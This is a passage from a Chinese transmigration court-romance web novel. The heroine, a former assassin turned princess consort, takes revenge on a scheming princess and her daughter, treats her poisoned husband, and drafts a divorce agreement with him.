自己做的那些事儿却连怎么脱身的办法都没想到,还险些被罚,实在是愚蠢至极。 “娘……”高宝儿抬眼,有些不敢置信地看向长公主。 所以,母亲是同意她去对付沈听晚的? 长公主深吸一口气,沉着脸道:“往后你不要再去招惹沈听晚,你不是她的对手。 另外,翊王不也发话了,以后不准你踏王府的门,你就老老实实的断了这份念想,你与他绝无可能,也少去引火上身!” 这门亲事,都是那个人的一厢情愿而已,以为把自己的女儿嫁给他的外甥,外甥就能听话; 天真! 不说别人会不会站出来说什么,皇帝就会是第一个反对的。 这又是外甥女又是侄女的嫁给自己的皇叔还是舅舅,亏那个人能想得出来! 如果这门婚事若真的成了,那才会是整个皇室最大的笑话呢。 “娘,可我就是把皇叔当做……” 当做未来的丈夫了呀! 从小,爹就就总是和她说,未来会让她嫁给君翊做翊王妃,有朝一日翊王登基为帝,她便是母仪天下的皇后! 可是自打她父亲被皇帝降罪,从堂堂丞相之位沦为阶下囚,被流放千里那一日之后,一切就都变了。 她跟着自己的母亲回到了长公主府,从前的婚约也变成了众人口中的玩笑,就连皇叔,他也亲口告诉自己,从来没想过要娶她为妻过…… 高宝儿红着眼眶流泪。 她就知道,只有父亲才是对她最好的那个人。 她的娘,在父亲获罪之后,没有不讲半分情面地将休书甩在她父亲的脸上,更对昔日的丞相府没有一丁点的留恋,收拾了东西便回了长公主府,还将她从父亲的身边抢走。 可是,从来都没有人问过她一句,她想不想留在长公主府。 如果可以的话,高宝儿宁愿和父亲一同去流放,也不愿意待在长公主府,做那个任人嘲讽的郡主! “有我在,你与翊王就绝无可能,除非你今后再不做我的女儿,不做这个郡主!”长公主定定的看着她,随即又道:“从今天开始,你在府上闭门思过一个月,罚跪祠堂三天,好好反省,自己究竟错在了哪里。” 高宝儿垂着头,不说话了。 她知道自己错在了哪里,她错就错在当初不应该和她这个身为长公主的娘亲住在长公主府,当什么连名号都没有的郡主! 她就应该守在丞相府,守着她和父亲的那个家,等父亲回来! 她宁愿当昔日丞相府的嫡女,也不愿做这个有名无实的郡主! “怎么不说话,你不是觉得我罚你发错了?” 高宝儿攥住的拳头松开,垂着眼并没有看向长公主,而是低声道:“母亲没错,是女儿错了,女儿甘愿领罚。” …… 祠堂的这一幕,被赶到长公主府躲在暗处的沈听晚尽收眼底。 沈听晚倒是没想到,长公主竟然也是不赞同高宝儿和君翊之前那桩亲事的。 不过,见着长公主连提都不让高宝儿提起那个丞相,倒是叫她有些意外。 毕竟做了那么多年的夫妻,他们之间还有过一个女儿,长公主何至于那么恨那个昔日的丈夫呢? 直觉告诉沈听晚,长公主和那个从前的丞相,一定有着不为人知的仇怨。 心里头正想着,便见长公主已经出了祠堂,她又悄悄跟上去躲在了暗处,便听到不远处又传来长公主的声音。 本公主阴沉着脸,冷峻的开口:“这件事情固然郡主有错在先,但翊王妃拿着此时揪着不放,实在该死! 你去派人传本宫的话,明日早朝,将那本弹劾沈家的折子递上去。” 崔嬷嬷神色有些一顿,随即又为难的开口:“殿下,那本折子已经叫翊王妃知道,此时弹劾,岂不是会让翊王妃知道是我们所为??” “哼。”长公主冷哼一声,眼底闪过一丝阴厉:“知道了又何妨,本宫说用那本折子作为交换,可没说过其他大臣不能弹劾沈将军!” 更何况,她的女儿,无论犯下什么过错,都有她这个做母亲的管着。 沈听晚算什么东西,竟然还不知所谓的求陛下责罚郡主! 暗处的沈听晚听着长公主的话,双眼瞬间眯起一道冰冷的目光。 她垂下眸去,脸上染起一抹寒凉,果然,这个长公主比她还阴险呢。 原本沈听晚还觉得她私底下教训高宝儿,是有些不讲武德,可现下,她心里头却是半点负担都没有了。 既然长公主能做的出,就别怪她下狠手了。 沈听晚脸色阴沉,眉宇间升起一抹怒气,见长公主走远了些,转头沉声吩咐暗祁:“去把那个崔姑姑给我拦下来。” 今晚,不管有多少分弹劾沈家的折子,她都不会让长公主如愿成功递到皇帝面前去。 “是,”暗祁领命,不过又犹豫一瞬,随即缓声开口:“王妃,那崔姑姑要怎么处置?” 沈听晚的双眼闪着暗光,看向远处:“在东陵,让一个人神不知鬼不觉的消失,还是一件挺容易的事儿吧?” 第101章 和她有仇的一个都不会放过! 沈家就是沈听晚的逆鳞,如果谁想要在她的眼皮子底下对沈家不利,那简直就是自讨苦吃。 沈听晚双眼跳动着想要杀人的火焰,定定的盯着长公主走远的方向,眼睛也不眨。 沈家,是她从前世到家今生唯一能够感受到何为亲情的家人,上一世,她的亲生父母将她视作利用的棋子,将她终日困在那无法见光的地狱之所,她唯一的温暖则是寄托在一本书当中。 当她看到沈家父母和兄长对和她有着同名同姓的原主掏心掏肺,恨不得将天上的月亮都摘个她时,沈听晚是羡慕的,还有一丝发自内心深处的嫉妒。 这样充满温度的亲情,是她从未体会过的。 如今或许是上天看她可怜,怜悯她叫她穿到着纸片人儿世界当中,即便有可能是那么短暂的一瞬,她也绝不会辜负这昙花一现的温暖。 “王妃娘娘,您是说要……要杀了崔姑姑?” 一旁的暗祁很是不敢置信,双眼瞪得溜圆,震惊的看向沈听晚。 这……这是他们王妃娘娘吗? 这是那个从前胆小怯懦,连蚂蚁都不敢踩死的将军府大小姐吗? 他怎么觉得,今天的王妃娘娘身上的戾气那么重,看上去更像是……地狱罗刹? 沈听晚冰冷着一双眸睨过去:“她若敢伤害将军府,我杀人又何妨。”沈听晚一字一顿的说道。 “是……”暗祁吞了吞口水,见着沈听晚满眼尽是要杀人的戾气,最终还是领下命令。 沈听晚收回了视线,紧握的拳头缓缓松开,脸上的神色看上去也没有那么僵硬了,因着上一世的经历,沈听晚调节情绪的能力还是很强的。 “你去办就是了,王爷若是问起来就如实说。” 她就是要杀人。 就算这么做会让君翊感到反感,沈听晚也不怕。 她和君翊原本就是一场交易而已,也正好可以趁着这一次机会,让君翊好好看清楚,她究竟是一个什么样的人。 上辈子,她就是一个毫无感情的杀人机器,就是一个杀人如麻的恶魔。 所以,沈听晚她从不善良。 君翊如果识相一些,那就趁早断了对她的那点喜欢。 祠堂里的高宝儿还在跪着,背挺得笔直,但是满眼却满是遮掩不住的狠意翻涌。 “贱人!迟早有一天,我一定让你生不如死!” 高宝儿愤怒的娇骂道,她今天所承受的一切屈辱,都是因为沈听晚! 在外面忙活了一整天,她是连一口水都没喝,更别说是用膳了,回到家之后,还要被长公主罚跪在祠堂。 如今的高宝儿是又冷又饿,心底的悔意与怨气翻涌的更加厉害了。 在没遇到沈听晚之前,她一直都是顺风顺水,高宝儿想不明白,自己怎么就栽到了沈听晚的身上了呢。 明明她和君翊有婚约在先,明明沈听晚才是那个后来者,可是为什么,母亲和皇叔,就连陛下和皇后都偏爱那个贱人! 这念头一旦冒出来便像是野草似的疯长,绞的她整颗心脏都难受的要死。 微寒的秋风从窗外吹进来,打在高宝儿的身上,高热也席卷她的全身,很快便像是要把她的五脏六腑都烧成了灰烬。 高宝儿的身子也开始摇摇欲坠起来,不多时,便听到祠堂了突然传来“咚”地一声。 高宝儿晕倒了。 然而这还没完,在这寂静无声的祠堂之中,燃这的白烛发出一阵噼里啪啦的声响,不多时,不知是打哪儿吹进来一阵风来,竟将那蜡烛吹翻在地。 还在燃着的蜡烛落在了刷满漆油的桌案上…… “走水了!” “快来救火啊,郡主还在里头呢!” …… 听着不远处传开一阵下人的惊呼声,沈听晚的脸上才添上一抹心满意足。 解决了高宝儿,下一个就该轮到长公主了。 沈听晚的眼睛里闪烁着冷笑。 在暗夜之中如同鬼魅般游走在长公主府的每一处。 长公主不是说要弹劾沈家吗?不是说她针对这高宝儿不放吗? 那她就好好告诉告诉长公主,她说错了。 她,沈听晚可从来不是只盯着高宝儿一个人不放,而是与她有仇的,她一个都不会放过! 一场大火,不足以要了高宝儿的命,很快长公主府的下人便把火灭了,从一阵废墟当中成功地把高宝儿给救了出来。 这一遭过后,原本就染上了风寒的高宝儿,又接连受到惊吓,一下子便病倒了。 她这一病,可是把长公主府众人给吓坏了,连夜便惊动了皇宫,一连请了三五个太医前来。 就连方才还在生高宝儿气的长公主,心也软下来不少。 干完坏事之后的沈听晚,也是拍拍屁股,一脸心满意足地回了王府。 长公主府今日的一场大火还没完呢,想到明天一早,长公主从床上醒过来坐在梳妆台看到自己的那张脸,发出的绝望,才叫人大快人心。 回到王府的沈听晚原本心情还算不错,心里头的一口恶气也算是结了一大半,刚走到君翊的院子门口,便突然像是想的了什么似的停下了脚步。 正巧这此时,暗蒙也刚从房间里出来,一抬眼便看到了站在门口的沈听晚。 “王妃娘娘?” “嗯。”沈听晚淡淡的应了一声。 “王爷睡下了?” 暗蒙摇头:“还没,王爷说要等王妃回来。” “等我做什么?”沈听晚下意识开口,嘴角微微扯动一下。 暗蒙嘿嘿一笑,抬手摸了摸脖子:“还能因为什么,王爷这是担心王妃娘娘呗。” 虽然他们王爷没亲口承认,但眼下都过子时了,从前这个时候,王爷早就睡下了。 而这个时候后,王爷还强撑着没睡,还能是因为什么? 自然是王府里头还有人没回来呀。 沈听晚皱了皱眉头,抬眼又盯着暗蒙:“暗蒙,你最近手头上的事儿是不是很多啊?” 暗蒙一愣,想了一下又摇头:“没有啊王妃,就是和从前一样。” “那就是你觉得我这个王妃可有可无,我说过的话也可做可不做,对吗?”沈听晚又幽幽地开口,眼底闪过一丝不善。 第102章 王妃要和王爷分房睡 “冤枉啊,王妃娘娘,属下从来没这样想过!” 暗蒙听到沈听晚质问的话,先是一愣,随即又赶忙开口解释道。 “那你告诉我,半个月前你说三天之后做好的软榻,为何我现在都还没看到,嗯?” 沈听晚脸上没有愤怒,只是那嘴角的笑意也也是不达眼底,语气不冷不淡的说。 暗蒙听到这话,脸上的表情瞬间皲裂开来。 王妃怎么还想着那软榻的事儿啊。 他还以为,都这么长时间过去了,王妃早就已经把这事儿给忘了呢。 “今儿王爷入宫的软榻都能说有就有,但是我想要一张床,你们就推三阻四,你还说不是没把我这个王妃看在眼里?” 沈听晚心里也是郁闷的很,突然间反应过味儿来,她已经和君翊同床共枕小半个月了。 今天君翊突然之间说喜欢她,沈听晚觉得,多半是和这段时间和君翊太过亲密接触的缘故,给君翊造成了一种他们是真夫妻的假象。 也是怪她,一直想着要把君翊给治好,也没讲求什么男女大防。 在这所有人的思想都很古板的时代,一男一女同床共枕,而且还是名义上的夫妻,很难不让人瞎想。 沈听晚心里头琢磨着,今天她在君翊的面前表露出心肠歹毒的一面还不够,要想彻底让君翊断了那不该有的念想,还得从根源解决问题才行。 “是属下的错……”暗蒙低下头去:“那床木匠早就做好了,只是属下这段时间一时疏忽给忘了,属下这就命人把床搬到房间里去。” 说着,便准备抬脚往院外走去。 “不用了。” 身后又传来沈听晚的声音,暗蒙以为她是改变了主意,心下顿时又是一喜。 这就对嘛,王爷和王妃就应该睡在一个床上,那才叫夫妻嘛。 然而,下一瞬,沈听晚再次开口的话,却叫暗蒙脸上的笑意又顿时僵住。 “直接命人把床给我搬到旁边的偏房就行了。” 既然说要从根源解决问题,那不睡在一张床,但却在一个房间里,还是远远不够的。 分开睡,两个人两个房间,才能算是彻底解决问题。 暗蒙的脸色瞬间垮了下来,可是看着沈听晚那一脸坚定的表情,想说的话却堵在喉咙里,怎么也说不出口。 暗祁“嗯”了一声答应下来,又垂头丧脑地出了院子。 哎,他刚才就不应该犹豫那一会,直接一个轻功闪出院子,叫王妃来不及叫住他,这样也能给他们王爷争取一个在同一个房间里睡觉的机会啊! 暗蒙心里头的小心思沈听晚不知道,她停在院子门口,看了一眼紧闭房门的正屋,略微想了想,最后还是抬脚朝着她的偏房走去。 刚才外头闹出来这么大的动静,君翊在里头肯定是听见了。 听到了也好,那就不需要她进去再重复一遍了。 暗蒙的办事效率很快,沈听晚刚进偏房没多大一会儿的功夫,便听见门外传出了声响。 一张看上去很是奢华,宽敞的大床,就这样搬到了沈听晚的房间里。 “王妃娘娘,这偏房还是太小了,床太大好像没地方放啊?不如属下让人把床搬到正屋里头去,那屋里头地方大。” 暗蒙走进来,左看右看也没找到一个适合安置这张床的地方。 沈听晚微蹙了蹙眉,见着暗蒙一脸为难的模样,但眼底深处还藏着一抹心虚,心下顿时了然。 她冷笑一声,心里感叹:这暗祁暗蒙两个侍卫对君翊还真是那叫一个忠心耿耿。 “不用了,把这张桌子给我抬走,放在窗下去,然后把床放在这儿就行了。”沈听晚抬手指了指,淡淡的开口指挥道。 不管这帮人心里头耍着什么心思,总是,她和君翊分房睡,是分定了! 暗蒙见状又是挫败地叹了口气。 他这也算是尽力了,还特意去挑了一张最大的床,原本想着这床偏房放不下,王妃娘娘能改变主意,看这样子,王妃是铁了心要与王爷分房了。 哎,王爷王妃成亲还不到一个月啊,算起来还算是新婚呢,哪有新婚夫妇分床分房睡的道理啊。 可偏偏这件事儿,还是他们王爷同意了的。 半个时辰之后,沈听晚心满意足地躺在床上,盖着暖呼呼的被子,嘴角才勾起一抹心满意足的笑来。 这才对嘛,两个人一张床,那有一个人独自享有来的舒服呀。 这下再也没有每天早上醒来,都看到自己整个身体挂在君翊身上的尴尬了。 美美滴躺在一张宽敞的大床上,沈听晚缓缓的闭上双眼准备入睡。 又是一天的劳累,沈听晚只感觉自己穿到了这里,每天累的都像是一条狗似的,可不比她在现代那会儿轻松自在。 在现代,沈听晚好歹是身体上的疲惫,不过是每天在杀人与救人之间不断穿梭而已,可现在呢……虽然没有杀手任务做了,可每天都是勾心斗角的活着。 这还不到一个月,沈听晚都感觉比过一年还要漫长…… 今晚,她不睡到日照三竿,她就不叫沈听晚。 然而,理想是美好的,现实却是残酷的。 沈听晚这边才刚刚进入梦乡,门外便响起来一阵敲门声响。 来自杀手的警觉,沈听晚迅速从床上坐起来,满眼警惕的看一下门口:“谁?” 门外,很久才传来声音:“王妃娘娘,是属下……” 听到门外是暗蒙的声音,沈听晚才放松下来,又重新躺回了床上,拉过被子,将自己整个人都埋在被子里。 “有什么事明天再说,我要睡下了。” 然而,敲门的人依旧锲而不舍,重新敲响了门。 “王妃娘娘……” “王妃!” 门外的暗蒙一遍敲着门,一遍唤道。 沈听晚简直要被气死了,双手在被上用力捶打一下。 她就是想要睡个好觉,怎么就怎么难的吗? 翻身而下,穿上外衣,拉开门脸色黑的不行:“暗蒙,你最好是有重要的事情和我说,不然我杀了你!” 说话间,沈听晚还不忘做一个灭口的动作。 她可没开玩笑,沈听晚骨子里便藏着嗜血的性子,只不过来到了这里,略微有所收敛了而已。 第103章 又中毒!? 看着披头散发,红着双眼,而且脸上还带着杀气腾腾的沈听晚,暗蒙条件反射一般地向后退了两步。 那一瞬才后知后觉,他可是王府暗卫啊,竟然被他们王妃给吓着了?! “王……王妃。” “什么事儿!说?”沈听晚没好气地开口,这一天她都累成什么样了,还不容易钻进被窝要美美的睡一觉,刚入睡就被暗蒙叫醒了,这恼火的程度,可想而知吧。 “王妃娘娘,是王爷,王爷他身子不适。” 见着沈听晚一脸阴气沉沉,暗蒙立马飞快的道,说话间还特意抬手只想正屋的方向,证明他没说谎。 要不是因为王爷身子不适,他也不敢惊扰王妃娘娘的美梦啊。 沈听晚皱起眉头,脸色依旧沉着:“知道了。” 下一瞬,“啪”地一声,沈听晚将门重重的关上,只留下暗蒙一人,在黑夜的冷风中凌乱。 知道了? 王妃娘娘这是知道还是不知道啊? 怎么听到王爷身子不适,还把门关上了呢。 暗蒙心下犯起了嘀咕,正准备抬手继续敲门,便见门再一次开了,沈听晚面无表情的提着药箱,看着暗蒙那抬在半空中的拳头。 脸色黑着,沈听晚轻喝一声:“还不赶紧走。” 一提到君翊身子不舒服,沈听晚便瞬间严肃起来,白天君翊那一阵折腾,她都还没来得及给他检查一下,又遇上长公主这一桩事儿,便直接让沈听晚把检查给忘到了脑后去。 如果君翊的身体真的出现了什么情况,那可就不妙了。 意识到事情的严重性,沈听晚也有些后悔,从长公主府回来之后,应该去君翊房间里一趟的。 “王爷现在什么情况?” 一边走着,沈听晚转头看向暗蒙问道。 暗蒙眼神有些闪烁,低下头去不敢看沈听晚一眼,犹豫着说:“王爷……王爷只说身子不舒服,没说哪里难受。” 沈听晚深吸一口气,随即收回视线。 算了,问他也问不出什么情况来。 大步朝着正屋走去,推开门便看到君翊的脸色果然有些苍白,躺在床上,紧闭着双眸,眉眼间带着几分隐忍。 “本王没事,都出去!” 君翊不知道站在门口的人是沈听晚,冷声开口,声音透着一股虚弱。 沈听晚蹙眉大步走上前。 “君翊!” “你现在感觉哪里不舒服?告诉我。”看样子君翊是真的有些难受,抬手一把抓住君翊的手腕便诊起脉来。 君翊睁开眼,便见着沈听晚一张严肃的小脸映入眼帘,眸中划过一抹暗光,随即收回视线。 他薄唇抿成一条线,许久才幽幽开口:“不是说要与本王分房睡,还惦记着本王的死活做什么?” 沈听晚一顿,眉头拧的更深了些:“分房睡也不代表不给你医治了,你要是有什么事儿,我还能出得去王府吗!” 换做是旁人,沈听晚肯定不会从床上爬起来医治,可君翊不是别人啊,她还指望着等君翊好了,给她和离书呢! “你这女人,就不能说点好听的?” “别说这些没用的,现在告诉我,到底哪里不舒服?” 沈听晚严肃的开口问道,然而却没有得到一丝回应,她再抬眼,便见到君翊的眼皮子微微耷拉,像是要昏睡过去,这样子,可是把沈听晚吓了一跳。 “喂,你清醒一点,别睡!” 君翊应了一声,又勉强掀开眼皮:“本王……没事,你别担心……”说完话后,一双眼皮彻底的闭上,昏了过去。 你丫的!谁担心你啊! 沈听晚用力咬了咬牙,转身迅速从药箱子里取出银针,又快速把君翊身上的里衣脱下,开始施针。 “你这家伙,还真是说晕就晕!”沈听晚给君翊施完针过后,靠在床边,眼底尽显疲惫,秀眉也不禁微皱起来。 沈听晚缓了一会儿后,又检查了一遍君翊的身体状况。 “又是中毒了?”方才来不及仔细检查,沈听晚只得用银针先稳住君翊的情况,现在静下来才发现,君翊体内的毒,真是太熟悉了! 这不是和她嫁进门那晚给君翊解过得毒一样吗。 只不过这回,君翊体内的毒很轻,而且应该是刚被人种下的 他丫的! 究竟是谁,还敢在她的眼皮子底下给君翊下毒啊,更可气的是,她竟然毫无察觉。 “究竟是谁啊,这么想治你于死地?”沈听晚看着床上一脸虚弱,毫无血色的君翊,压根没指望着君翊能回答。 她突然间发现,似乎在这京城之中,想要让君翊死的人,真的很多。 是皇宫里的那位?不应该,在皇宫里,君翊一直在她的视线范围之内,如果有人对君翊暗中动手脚,她不可能会没有察觉。 也不可能是在王府里,如今这王府中心怀异心的人,也都清理的七七八八了,更何况,王府里各处都是暗卫,绝不会给人有可乘之机。 那又会是谁呢,又是在什么地方下的手? 在街头动的手吗? 沈听晚思来想去,君翊不在她视线范围,又能让人钻了空子的时间,也只有她们从皇宫出来,在街头她给那个小男孩医治的功夫了。 有那么一刻,暗蒙和暗祁似乎都不在马车旁边守护着,所以,有人在那个时候给君翊下了毒? 她看着君翊毫无血色的脸,第一次眼底闪过一丝复杂,叹了口气又收回视线。 “不管那人是皇宫里的,还是外头的,总之,他既然敢给你下毒,我就一定能把那个人给揪出来!” 敢在她的眼皮子底下下毒,这已经不是给君翊解毒这么简单的事情了,那人是在挑衅她的医术。 翌日清早。 君翊睁开眼,便看到小姑娘身体笔直,靠在床边闭目睡着。 说来,这还是小姑娘嫁进门之后,她第一次没有抱着自己入睡呢。 突然间想起来,昨天他和小姑娘表明心意之后,似乎是吓到了她,闹着要分房睡来着。 君翊垂下眼,眼底闪过一丝晦涩。 看来是他有些操之过急了。 第104章 分明是君翊不安好心! 君翊意识到,小姑娘看上去不不讲究男女大防,平日里也大大咧咧像是什么都无所谓一样,但是心底却是对感情方面的事儿极其敏感的。 他们之间相处不过一个月,他贸然提出喜欢沈听晚,却是会把小姑娘给吓着。 他浓密的眼睫微动,一双黑眸定定的落在沈听晚的身上。 不多时,床边靠坐着的小姑娘有了动静,她缓缓睁眼,朝着君翊的脸上看过去,两人的视线也碰巧在空气中交织。 “你醒了!”沈听晚立马坐起了身子,忙不迭抓住君翊的手腕诊脉,一边说:“现在感觉怎么样?” 君翊抿了抿唇:“你在担心我?” 沈听晚叹了口气,完全忽视君翊的话,看过去:“你知不知道自己又中毒了!” 这已经是她第二次给君翊解毒了,中间还有一次,是她及时发现给君翊服用的汤药中被人下了毒,这接二连三的对君翊下手,沈听晚心里头也是恼火的很。 “就是在昨天你仔细想想,昨天都有什么可疑的人接近过你?”沈听晚一脸严肃的问道。 君翊想了想,随即摇头:“不曾。” 他从入宫到会王府,一直都是清醒的,如果真的有人靠近,他不可能不知道。 而且,不是在王府里,他也不可能轻易吃外面的东西。 “那就奇怪了。”沈听晚若有所思地皱了皱眉:“难不成是余毒未清,昨天碰巧又复发了?” 仔细想想又觉得没多大可能,她给君翊检查过,体内的毒也全部清除干净了,如果有余毒,她不可能会忽视。 那答案就只有一个了,就是这下毒的人,并没有把毒下到吃食当中,而是通过别的办法,叫君翊中毒的! 想到这里,沈听晚的脸色也陡然间阴沉下来。 “本王还有多久能站起来?” 沈听晚回神看向君翊:“如果不出意外的话,一个月之后。” 君翊点点头:“那就不用想那么多了,等本王身体恢复,背后那些人便也不会再得逞了。” 他如果身体能动,恢复从前的武力,一般人就没办法在他不知情的情况下近的了他的身。 “可拉倒吧。”沈听晚撇了撇嘴:“你忘了你自己是怎么躺在这儿的了? 你要是真的好起来,那明面的,背地里想要你死的人,只怕是更多。” 君翊轻佻着眉:“有什么好怕的,我不是有你?” 有小姑娘在,哪怕是他就剩下一口气吊着,小姑娘也能把他从鬼门关里拉回来的。 “那你也不能事事都指望着我,如果我离开王府了呢,到时候你找谁去。”沈听晚白了一眼,她那里听不出来这家伙的言外之意。 不过就算是这样,君翊也别觉得她会心软。 日子一到,她就直接收拾铺盖走人,一刻钟都不带多呆的! “你,就这么想离开王府?”君翊望着她,眼神深邃,眸底闪过一丝无奈之色。 “对!”沈听晚斩钉截铁的说:“所以,就算你不遵守我们的约定,我也会离开!” 凭借她的能力,和王府这帮人打一架估计她不会赢,但如果她想要躲起来,那她能保证,任何人都找不到她的踪迹。 原以为她这么说,君翊会生气,然而却并没有。 只见君翊扯了扯嘴角,微垂下眸:“好。”无奈地妥协道。 沈听晚一愣。 这么快就改变主意了? “你答应放我走了?” “不然呢,强行把你留在王府,你也不会高兴的。”君翊淡淡地说。 沈听晚没想到君翊会突然间这么说,将视线收回,轻哼一声:“你知道就好。” “不过,本王有一个条件。” “什么?” “在你还在王府的这段时间里,你要把自己当做翊王妃,当做是本王的妻子。” 沈听晚有些不明白了,眼底满是疑惑的看过去:“什么意思?” 什么叫当做他的妻子? “一年,这段时间,你就是我的王妃,至少在外人面前,我们必须是一对伉俪情深的夫妻。” “那我们现在不就是……等等,为什么又成一年了?”沈听晚皱着眉,满脑袋的问号。 “不一样”君翊摇着头:“你现在根本没有把自己当做是翊王妃,而是时时刻刻都盼着要走。 至于为什么是一年……”君翊顿住一下,想了想又说:“我你毕竟是刚成亲,若不到一年就和离,会让人看了笑话。,而且对你的名声也不好。” 所以,一年的时间,不能再短了。 再短的话,他真担心自己追不到小姑娘…… 沈听晚沉默了,她垂下眸,似乎在沉思着。 好像,君翊说得有几分道理。 她倒是不担心自己的名声好不好,但是将军府的名声却不能不顾及。 如果她这么短时间与君翊和离,外人只会觉得将军府教女无方,白白给沈家抹了黑。 君翊也不着急,只静静地看着沈听晚,等着她的答案。 片刻,沈听晚再抬眼,严肃的说:“好,我可以答应你,人前我们就是正常的夫妻,但是,其他亲密的举动不能有。” “那王妃口中说的亲密举动指的是什么?”对于沈听晚的话君翊丝毫不感觉意外,他轻笑着挑眉。 沈听晚面无表情:“牵手,亲吻,近距离接触,还有正常夫妻该做的事都不能有。” 君翊想了一下,故作为难地摇了摇头:“那可能没办法做到。” 沈听晚瞬间炸毛,一双杏眼满是怒气:“哪一点做不到?” “比如亲密接触,这点就做不到啊,王妃别忘了,之前的那段时间,我们都睡在一张床上,我的身子动不了,自然不能和王妃亲密接触,但王妃可就不一定了……” 想想这半个月来,沈听晚一直把君翊这家伙当成大大的抱枕来用,脸色突然变得有些不大自然。 “从前就算过去了,我是指从今天开始!” “那也做不到。” “君翊!”沈听晚被君翊的话气的有些咬牙切齿。 见着自己这把小姑娘惹生气了,君翊立马又道:“本王是说,在外人面前,正常的夫妻接触,还是有必要的,不然会让人起疑。” 谁会起疑心? 明摆着就是君翊心里头不安好心! 第105章 王妃要和王爷和离!? 沈听晚恶狠狠白了君翊一眼,最后为了能顺利拿到和离书,还是冷着脸应到:“好,外人面前,可以有亲密接触,但私底下,我们就是清清白白的盟友。” “可以!” 这下君翊也不再拒绝,很是干脆地答应道。 “在此之前,我还有一个条件。”沈听晚又开口道。 这君翊都能随随便便提条件,她有什么不能的呢? “你说。” “你得先把和离书签了给我,盖上你的翊王印章,交给我保管。”沈听晚满眼坚定的道。 谁知道君翊等到一年之后,会不会再反悔啊。 还是把和离书先拿到手了,才能叫她心安呢。 君翊的眉心微动了动:“本王现在手动不了,如何写?” 听见这话,沈听晚脸上却突然挂起了一模狡黠与得意:“也没人规定和离书必须要男人来写啊,我写,你按手印,再加盖上你的印章,就算作数了。” 君翊并没有拒绝,而是目光定定的看向沈听晚,时而想笑,时而又无奈。 这小姑娘,是有多不信任他? 真以为他会反悔吗? 事实上,沈听晚却是不信,介于这些天君翊的一系列令人费解的举动,直觉告诉她,先把和离书给签了,是非常有必要的。 只要和离书到手,一年之后,她才能顺顺利利的离开翊王府,去过自己的逍遥快活日子。 看着君翊眼中的神色被无奈取代后,沈听晚又开口:“王爷请放心,只要你签了和离书,一年之内我绝不会离开王府,而且保证,在这时间里可以把你的身体调养的棒棒的,叫你没有任何后顾之忧。” 她不说是现代医术水平最高的大夫,但也是个拿过手术刀,上过几百场手术台的,如果连这都保证不了,那她干脆别做大夫了。 “好,本王答应你。”君翊又无奈地道。 他自然是相信沈听晚的,单凭一晚上就能解了他体内的毒,就足矣证明小姑娘的实力。 而且,这段时间因为沈听晚突然闯入他的生活,君翊也能明显的感觉到,自己的身体正在一点点的变好。 见着君翊答应,沈听晚这才笑了,随即转头朝着门外娇喊一声:“来人,那笔墨来!” 门外很快有了动静,不多一会的功夫,便见着暗蒙手上捧着纸笔,推门进来。 “王妃娘娘,您要的笔墨。” 暗蒙不知道沈听晚这个时候让他拿笔墨为了什么,只当是王妃要给他们王爷重新开药方子,所以这么重要的事儿,他自然不能耽误功夫。 沈听晚点点头:“嗯,放着吧,对了,你再去王爷书房一趟,把王爷的印章拿过来。” “啊?”这下子暗蒙不解了。 王妃娘娘些药方子,需要王爷印做什么啊? 转头不解的往床上看过去,在见到自家王爷眼神的默许,暗蒙这才一头雾水地出了房门。 与此同时,沈听晚也走到桌前坐好,把纸平铺在桌案上,然后研磨,执笔然后在纸上开始认认真真地写了起来。 沈听晚伏案写字,一手簪花小楷写的很是不错,不大一会儿的功夫,便将和离书写好。 正当她抬手将和离书拿起,轻轻嘟嘴吹着上面还未干的字迹时,暗蒙又推门走了进来,手上还拿着君翊的王爷印和一块红泥。 在暗蒙进门后,看清沈听晚手上的那张纸最开头上面大大的和离书三个字时,瞬间震惊在原地,仿佛看到了什么不得了的东西。 他连连退后两步,将王爷印死死护在胸前,更是瞳孔地震:“这……这,王妃娘娘要与王爷和离?!” 沈听晚红唇轻启,将和离书放下,又招呼着暗蒙过来:“把王爷印拿过来吧。” 暗蒙愣了一下,随即又连连摇头,下意识退后两步,目光看向君翊,投去求助的眼神。 我的好王爷啊,您倒是说说话啊! 就这么任由着王妃写和离书? 天底下这么好的王妃,会医术而且还机敏聪慧,王爷就这么错过了?! 在暗蒙心里看来,这天底下没有比沈听晚更适合成为他们翊王府的女主人了。 王爷要是真的错过,保准以后会后悔啊啊啊! “你看他做什么?看我,王爷已经同意了,他现在身子不便,你过来替王爷把印盖上。” 暗蒙彻底被震惊到了。 听见沈听晚的话,立马低下头去,垂眼浑身紧绷的道:“属下不敢,而且属下替王爷盖印,也不能作数啊……” 这王爷印,可是必须有翊王本人亲自盖上,才算有效。 不然如果哪天,有居心叵测的人把王爷印偷了去,随随便便盖上几个印,岂不是要让王爷背锅了。 沈听晚翻了翻白眼,有些无语道:“真是麻烦!” 说着,便起身上前大步走到暗蒙跟前,抬手将他手上牢牢护在胸前的王爷印夺过来,顺便拿走了他手上的红印泥。 “哎,王妃娘娘,不可啊!” 暗蒙还没回过神来,手上的王爷印就已经被沈听晚抢走,立马惊呼地道。 以为沈听晚要自己盖印,却没想到,她却一手拿着王爷印,一手拿着和离书,径直走到了君翊跟前。 “这和离书你是同意的对吧?” 君翊淡淡回应:“嗯。” “那让暗蒙在这里作证,我帮你把印盖上,你没有意见吧?” “可以。” 暗蒙的天都要塌了,不敢置信地看向不远处的两人,惊得下巴都要掉了。 王爷……你就这么水灵灵的答应了? “等到时候本王的手能动之后,在旁边签上字,和离书便正式生效。”君翊又淡淡开口补充一句。 沈听晚想了想,随即点头:“可以。” 不过是签一个字的功夫,能用多长时间,总之,有了这王爷印,到时候也不怕君翊会在耍什么花样。 沈听晚是真担心,君翊一年之后会用这个王爷印来卡住她,万一到时候,这家伙谎称印丢了,那他们岂不是和离不成了。 不过,沈听晚不知道的是,即便有了这王爷印,如果君翊不想签字,也能找出来不少的理由呢。 第106章 长公主是闲得发慌 当然,这些都是后话了,沈听晚没想到这些,只见着君翊应下,便笑呵呵的拿着王爷印,然后印上红泥,还在嘴边哈了口气,这才用力盖在和离书的末尾。 动作一气呵成,沈听晚把王爷印往暗祁的怀里一丢,然后美滋滋的坐在床边,欣赏着手上的和离书。 不知道的人还以为,沈听晚是在看一件什么珍贵不可多得的宝贝呢! 暗蒙拿着王爷印,像是丢了魂似的出了门。 门外暗祁正好要进门,看着暗蒙一脸失魂落魄的模样,忍不住的问:“这是怎么了,魂儿丢了?” 暗蒙神色仄仄的抬眼:“你看看这是什么?”把手上的东西摊开来给暗祁来看。 暗祁看了一眼:“咱们王爷的王爷印啊,这个拿出来做什么?” 